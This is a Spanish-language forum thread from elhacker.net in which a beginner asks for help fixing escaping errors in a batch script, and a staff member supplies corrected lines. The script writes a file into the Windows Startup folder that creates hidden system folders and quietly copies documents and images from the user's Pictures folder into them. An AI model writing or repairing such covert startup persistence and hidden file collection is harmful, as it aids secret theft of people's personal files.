elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  No se esperaba en este momento. Error [Batch]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: No se esperaba en este momento. Error [Batch]  (Leído 4,417 veces)
Fron99

Desconectado Desconectado

Mensajes: 18


Ver Perfil
No se esperaba en este momento. Error [Batch]
« en: 2 Abril 2017, 10:58 am »

Buenas. Tengo un problemilla con un batch. Quiero crear el siguiente batch pero me sale el error de "No se esperaba x en este momento".

Código:
cd "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
(
ECHO md 1
ECHO attrib +h +s 1
ECHO md 0
ECHO attrib +h +s 0
ECHO cd 0
ECHO IF NOT EXIST ".\"%USERNAME% MD ".\"%USERNAME%
ECHO attrib +h +s ".\"%USERNAME%
ECHO cd ".\"%USERNAME%
ECHO for /R %USERPROFILE%\Pictures\ %%x in (*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg) do copy %%x ".\"
)>"Inicio.bat"

Quiero crear un Batch que me genere ese batch pero no me lo genera y algunas veces cuando me lo genera es erroneo. ¿Alguien sabria decirme cual es el error.?

Muchas gracias de antelación.


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.877



Ver Perfil
Re: No se esperaba en este momento. Error [Batch]
« Respuesta #1 en: 2 Abril 2017, 17:56 pm »

¿Alguien sabria decirme cual es el error.?

Alma de cántaro, tienes que escapar los caracteres reservados/especiales de Batch. Los paréntesis y símbolos de porciento, entre otros.

Aparte de eso, en cada linea tienes argumentos abiertos sin comillas dobles de cierre " "

Prueba así:
Código:
ECHO IF NOT EXIST ".\%%USERNAME%%" ^(MD ".\%%USERNAME%%"^)
ECHO attrib +h +s ".\%%USERNAME%%"
ECHO cd ".\%%USERNAME%%"
ECHO for /R "%%USERPROFILE%%\Pictures\" %%%%x in ^(*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg^) do copy %%%%x ".\"

Saludos!


« Última modificación: 2 Abril 2017, 18:00 pm por Eleкtro » En línea



Fron99

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: No se esperaba en este momento. Error [Batch]
« Respuesta #2 en: 2 Abril 2017, 23:26 pm »

Muchas gracias! ;-) ;-) Estoy empezando en esto del scripting y se me paso eso por encima :laugh: :laugh:
« Última modificación: 3 Abril 2017, 12:14 pm por Fron99 » En línea

Fron99

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: No se esperaba en este momento. Error [Batch]
« Respuesta #3 en: 3 Abril 2017, 12:13 pm »

Buenas. Cuando ahora vuelvo a probar el código me vuelve a salir el mismo error. Y es el código corregido que me pasaste. ¿Alguien tiene idea del porque pasa esto?

Alma de cántaro, tienes que escapar los caracteres reservados/especiales de Batch. Los paréntesis y símbolos de porciento, entre otros.

Aparte de eso, en cada linea tienes argumentos abiertos sin comillas dobles de cierre " "

Prueba así:
Código:
ECHO IF NOT EXIST ".\%%USERNAME%%" ^(MD ".\%%USERNAME%%"^)
ECHO attrib +h +s ".\%%USERNAME%%"
ECHO cd ".\%%USERNAME%%"
ECHO for /R "%%USERPROFILE%%\Pictures\" %%%%x in ^(*.pdf,*.docx,*.xlsx,*.pptx,*.txt,*.jpg,*.jpeg^) do copy %%%%x ".\"

Saludos!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema no se esperaba XXX en este momento [Batch] « 1 2 »
Scripting
ELVJop 12 20,027 Último mensaje 23 Abril 2012, 22:31 pm
por Eleкtro
"no se esperaba en este momento"(BATCH)
Scripting
elpeluca 2 16,616 Último mensaje 17 Septiembre 2012, 18:02 pm
por elpeluca
(Batch) Error "No se esperaba GOTO en este momento"
Scripting
Anastacio 3 7,766 Último mensaje 1 Julio 2014, 04:39 am
por Eleкtro
No se esperaba 0 en este momento
Scripting
amok 0 1,977 Último mensaje 12 Noviembre 2016, 20:39 pm
por amok
Error: no se esperaba / en este momento
Scripting
Jamjize 4 7,760 Último mensaje 26 Mayo 2017, 21:44 pm
por Jamjize
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines